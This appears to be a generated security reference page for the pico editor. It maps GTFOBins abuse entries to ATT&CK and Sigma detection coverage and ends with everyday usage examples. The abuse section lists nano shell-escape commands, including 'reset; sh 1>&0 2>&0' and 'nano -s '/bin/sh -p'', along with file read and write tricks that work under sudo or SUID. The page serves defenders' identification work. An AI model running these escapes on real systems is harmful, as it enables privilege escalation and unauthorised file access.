Identifier / Programs / Linux and Unix
pico
Text editor styled after the Alpine Composer. tldr-pages
GTFOBins shell 1 ATT&CK technique 4 documented commands
How pico is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
-sEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for pico.
4 documented commands
GTFOBins documents pico with the commands of nano.
file-read unprivileged, with sudo, as SUID
The file content is displayed in the terminal interface.
nano /path/to/input-filefile-write unprivileged, with sudo, as SUID
nano /path/to/output-file
DATA
^Oshell unprivileged, with sudo, as SUID
nano
^R^X
reset; sh 1>&0 2>&0shell unprivileged, with sudo, as SUID
The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
nano -s /bin/sh
/bin/sh
^T^TAs SUID:
nano -s '/bin/sh -p'
/bin/sh -p
^T^TNone of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for pico. The identifier reads the line of each that runs nano.
What detects it
Everyday use
Start the editor
pico path/to/fileIdentifyStart the editor with the cursor located n lines into the file
pico +n path/to/fileIdentifyStart the editor with the cursor shown before the current selection
pico -g path/to/fileIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.